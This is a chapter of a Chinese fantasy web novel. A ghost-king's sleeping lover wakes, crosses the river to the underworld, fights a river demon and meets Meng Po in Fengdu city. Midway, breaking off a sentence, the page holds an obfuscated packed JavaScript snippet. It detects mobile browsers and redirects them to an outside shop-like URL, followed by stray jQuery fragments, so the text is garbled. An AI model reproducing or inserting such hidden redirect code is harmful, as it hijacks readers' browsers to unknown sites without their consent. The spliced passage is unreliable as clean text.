1. 平都山(一)

作品:《神鬼不离

    繁华的醴都城中央盘踞着一座山,名为平都山,民间称阴曹地府。


    平都山巅那所大殿,便是鬼王所在的阴主殿。


    十几簇青蓝鬼火悬在大殿半空中提供照明,灯火通明的殿内飘进一只身穿白袍头戴白帽的男子,他手上端着一沓折子,在宋庭真摆满折子的案几上挑了个位置堆上去。


    白无常稍一拱手,垂着头毕恭毕敬地说:“主上,判官司将生死簿又重新翻阅过一次,依然没有找到宁昼生的名字。”


    宋庭真埋着头批折子,随手一挥:“知道了,下去吧。”


    白无常并未离开,他将视线放在宋庭真案桌一侧飘着的一盏蜡烛上,烛台上点着一根银白色的昙花状蜡烛,中间的烛芯闪烁着白色烛光,正在不停摇晃跳动。


    可整个酆都城,都没有风存在。


    它凭何摇晃?


    宋庭真过于专注,似乎没有留意到花烛的异样。


    白无常思忖一番,终是垂着头离开了殿内。


    近些日子那帮鬼官们三天两头嚷嚷着改制,要把去人界捉拿恶鬼厉鬼的召唤缉拿制度改为下令缉拿,即从人界上报鬼界再安排鬼差捉捕,改为由鬼差常驻人界巡逻发现即刻下达通缉令捉捕。


    宋庭真被鬼官吵得头疼,最近天天批折子都是这些事,还不能不理。


    等他从桌案的奏折堆里抬起头,已是阴界深夜。


    他习惯性看向放在桌案一侧的花烛,静静燃了两百余年的那点白色烛火,只留下了一缕几乎看不见的青烟,直流而上,直到被悬在头上的青蓝鬼火照得一丝都看不见。


    宋庭真腾地站起来往殿外走,身姿一旋便消失在了原地。


    渺原的永夜下总挂着一轮月。


    这是一处悬崖,这片原野上铺满过膝高的草,漫山遍野都是,风不停拂过,绿海滚出波浪起起伏伏。


    孤独的菩提树矗立在悬崖边上,崖下的河水同样一眼望不到边,是渡河,去阴界投生的必经之路。


    菩提树上爬满了像藤蔓一样的枝条,原本像脉搏一样鼓动着的枝条不知何时恢复了应有的平静,正在以肉眼可见的速度迅速枯萎,那朵供养她两百年的菩提树生花就开在最粗壮的枝条上。


    宋庭真盯着如今空无一花的枯生藤,意识到两件事。


    花被带走了。


    他的爱人悄无声息地跑了。


    魏长吟沉睡两百多年,昏昏沉沉,从花里析出身形时自然分不清今夕何夕,她的脑子产生了一种冥冥之中的指引,她顺着这个念头要去一个她此前从未踏足的地方——阴界。


    渡河岸边飘着一叶小舟,舟头坐着一个手拿浮浆的老叟。他带着巨大的兜帽将整个头盖住,一身灰布麻衣将身子捂了个严实,佝偻着身子只露出一双形若枯槁挂满褐斑的手。


    老叟沉默不语,对她飞身上船的动作没有任何反应,稍停一息便扬起浮浆划下水面。


    渡河平静无波,水天一色用一片灰白色铺满眼底,这叶小小的扁舟划过水面漾出的涟漪,便是渡河上唯一的波澜。


    魏长吟借着水面的倒影,隐约看清了自己的轮廓。


    水面中的半道身影披散着一头长发,大半张脸隐在长发之下露出五官,看不具体,月白色的衣袍和满头黑发相衬,衬得脸色惨白,她缓缓抬手摸上自己冰凉的脸颊,模糊中竟觉得有点人不人鬼不鬼的阴森。


    她不知道她为何而来,作为一个在人界长大的人类,要去阴界,通常只有一种可能:她真的死了。


    河面渐渐起了雾气,越往深处,雾就越浓。


    撑船的老叟忽然停下,从头到尾保持低垂的头颅抬头望天,又往西边看去,转而看向坐在船尾的魏长吟。


    她这才注意到,裹在灰布麻衣下的老叟,只不过是一具白骨。


    西边的河面先是泛起一阵阵波澜将水面的平静打破,随即波澜涌动成波涛,将停在此处的小舟冲得晃悠起来,渐而摇摇欲坠到一种即将倾覆的架势。


    魏长吟扶着船沿稳住身子,却见白骨老叟稳稳当当地坐在船头。


    “发生了什么?”


    话音刚落,没能等到白骨老叟的回答,只见对方瞬间化成一滩骨粉,失去支撑的灰布麻衣掉在船面上,刮起的西风将那滩骨粉扬到空中散了个干净。


    风力加大使得小舟不堪重负,歪着船身一翻,倒扣在河面上,逐渐沉了下去。


    想来便是一个自幼生长在人界的人类,若是听说过什么有关阴界的传闻,多半都知道阴界范围内的水是碰不得的,除了腐蚀人肉吞噬人骨的利害之外,说不定还藏着什么吃人魂魄的精怪。


    失去支点,魏长吟以为自己恐怕要丧魂于此,却发现指尖输出一道月白的流光飘至脚下,将她托了起来。


    啊,想起来了。


    她是有法力的。


    在雍朝作为人生活的那些年,她自幼便因满头白发和总发生在身上的怪事受到歧视,生活在周围的邻里乡亲总躲着她走,背后指指点点地说她是个天生怪胎。


    她无父无母,甚至不知道是什么时候降生在世间的;不需要进食也不会饿死,还能健康的长成大人;那头白发若不是后来被一条捡到的发带束起变成黑色,除了怪胎,后来恐怕还要多个魔女的称号。


    不必他人嚼口舌,她自己也这么认为。


    直到她无意施展法力救了一个人,才发现自己或许不是怪胎,是个精怪也说不定。


    掀起惊涛骇浪的渡河下终于冒出来一个幻影,它从雾气中走出来,像一道风一样靠近,幻影逐渐凝成一个实体。


    是个不男不女的妖怪,甚至连物种也难以分辨。


    盘起的头发上缠绕着一团红线,红线缀在脸侧状似一条流苏,皮肤极白,五官俱全,脸上的红色斑块如溅射的血液从额角一直蔓延到脖颈之下,隐没进它这一身陈旧褪色且看不出形制的紫色长裙内。


    颇有些男子气概的脸下是一道曼妙的女子身形,拖拽在水面蛇形的长尾像条水蛇,可灰黑色的尾巴上布满鱼鳞,最尾端还留着一条宽大的尾鳍。


    既不像蛇,也不像鱼。


    忘川魅影抬起指尖有蹼的大手,长长的黑色指甲闪出几条黑烟扩大成一片,像狂风一样直直刮向魏长吟。


    她脚踩虚空几番闪躲,反手丢出几道月色流光击向对方。


    一时不查受了一击的忘川魅影摸向自己被划了一道的脖颈,一手的粘腻,它生出三分兴味七分恼怒,双手共同闪出十道黑烟合手团出一个球,狰狞着五官暗自使力再次丢向对面那个月白色的身影。


    一时之间,渡河的上空闪着两道颜色,一道月白一道灰黑,呈流线或片状交织在一起,就像乌云中溢出的闪电流光,让方圆十里都轰隆作响。


    虽失去了大部分记忆,魏长吟不记得自己在人界对法力的掌握程度如何。


    不过这半刻钟和妖鬼的交手,让她渐次体会到一种游刃有余的运用感。


    忘川魅影在又受一击后连连后撤,它喘着粗气,抚着胸口的大掌溢出黑色粘液——正是它的血。


    它咽回即将溢出嘴角的满口血,警惕地盯着对方,沉声发问:“你是谁?”


    “我?”


    对方的声音不似它一样嘶哑,这道声音沁着微风一般,像几百年前从平都山上传出的泠泠乐声,清脆又泛着一丝难以察觉抚慰之意,有如天神吟乐。


    忘川魅影拧着眉,觉得自己未免太过异想天开,说不定是渡河的广袤,为这道声音添了一丝空灵罢了。


    “我不过是一个渡河客。”


    “你?渡河客?”它嗤笑一声,仿佛听到一个了不得的笑话:“你并非鬼魂,渡河前往阴界,难不成是拜访死去的亲人不成?”


    误入渡河的生魂本应遣返,不知那撑船的枯骨老叟为何不拒绝人上船,还将人带到了渡河中央。


    生魂难得,它不过是起了点吞噬生魂滋补魂魄的心思,不想却被这个看不出魂力的人打了个措手不及,汩汩流血不止的胸口让忘川魅影十分暴躁。


    它欲甩袖钻入水中,却听见那不知好歹的人类发问:


    “你什么意思?”


    “哼,你问我什么意思?我还要问你什么意思呢?”失了耐心,它扭头破口大骂:“你又没死,吃饱了撑的跑阴界地盘来找死吗?”


    它看不懂这女子的路数和实力,却


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408861|200636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心惧她那下手毫不留情又神威十足的月色法力,只需想想便觉得胸口痛极,默了半响,钻入水中之前它好心丢下一句:“望你进入酆都城后,好自为之。”


    妖鬼离开后,翻覆沉下水面的小舟又浮了起来。


    才坐下,那原本坐在船头的枯骨老叟突然出现,依旧穿着一件灰布麻衣,撑着浮浆,状若无事发生稳坐在船头往对岸行去。


    她自渺原出发,经过渡河,来到了对岸。


    这里矗立着一座庞大的鬼城,城门上写着酆都城三个大字,想来就是阴界首府。


    从城门望向城内,整个酆都城笼罩在黑暗之下,街道高楼四处飘着或绿或白的鬼火灯笼,庞大的取火量使得城内亮如白昼,却因冷调的鬼火显得更为阴森,这便是阴界的夜晚。


    酆都城极大,两侧有望不尽的楼阁。


    从城门往前直行是一条大道,大道尽头似乎是一座山,山体上点缀着绿白鬼火,在鬼火的照耀下勉强能看出山上分布着一些大殿。


    整个酆都城充斥着一股纷杂的香火气息,也许像寺庙内燃烧的线香,也许像家中祠堂点燃的香烛,也许是清明时节街道巷弄拐角处,在火盆中化为灰烬的纸钱。


    这里似乎比人界还要热闹,彻夜不息的鬼火让城内像个不分青天白日的逍遥窟,时不时能听到远处飘来的喝声——许是玩乐时起了兴致发出高昂的庆祝声。


    和妖鬼的告诫不一致。


    魏长吟进入酆都城后,没有察觉到任何异常,没有拦路鬼冒出来,连夜间巡视城内的夜游巡差,也只是扫了一眼她这个新冒出来的人,便收回了审视的视线。


    妖鬼想来自私,它们大都没有人性,善良这一词并不在妖鬼的生存字典之内。


    可魏长吟依旧不敢掉以轻心。


    刚经历一场恶战,她尚处在惊弓之鸟的警惕当中,所以在肩膀上出现一只手时,她下意识抬手击中了对方。


    “嗷!好痛!”


    是一道女声,魏长吟忙回过身。


    那女子跌坐在地上捂着臀部,身材娇小,竖着一头三小髻,发中插着一根状似饭勺的铜钗,穿着看不出朝代,一张娃娃脸皱着,撇着嘴看着极委屈,一双大眼睛瞪着她,抬手一指便是大声控诉:


    “你怎么这样!我话都没说一句就打我,我没惹你吧?”


    魏长吟站着没敢动,观察着对方的神色和动作,觉得这女子似乎不是什么有坏心思的。


    犹豫片刻,便上前将对方扶了起来,含着歉意解释:“抱歉,我在渡河上和一个妖鬼打了一架,这才下意识给了你一击。”


    “渡河?”女子站起身,拍拍屁股上的灰,了然道:“你碰上的应该是忘川魅影,它最喜欢吃生魂了,不过嘛,你能打得过它,想来你也不是个善茬。”


    “不过,你一个人,跑到鬼的地盘来干什么?”


    “我不知道。”魏长吟感受一番脑海中那道引着她来到阴界的冥冥指引,往道路尽头看去:“我要去那座山上。”


    “哦~原来你要去平都山啊。”


    “那里就是平都山吗?”


    “自然。”女子迈着步子往前走,回头示意:“走吧,虽然不知道你要来干嘛,但我向来心善,我带你去吧。”


    “多谢。”


    “我叫孟姝,就在平都山任职。”孟姝偏头看这个不知是不是误入阴界的人类,似乎只是礼尚往来地询问:“你呢?叫什么名字?从哪里来的?”


    魏长吟不答,她跟在孟姝背后,目光落在那柄饭勺状的铜钗上:“你是厨子吗?为何头上钗着一只饭勺?”


    “这里是阴界,除了厨子,还有另一个使用会大勺工作的鬼者。”说着她话音一顿:“我想,我眼下已经提示的足够明显,你猜猜,我究竟是谁?”


    被孟姝带着顺利通过平都山门的守卫,直通山巅的长阶看不到一个鬼影,空荡荡的连风都没有一丝。


    脑中突然闪过一个念头,魏长吟停下步伐,走在前方的孟姝察觉到了她的动作,回头笑意盈盈地看她,语气毫无意外地陈述:“魏长吟,你猜到了。”


    魏长吟缓缓吐出两个字:


    “孟婆。”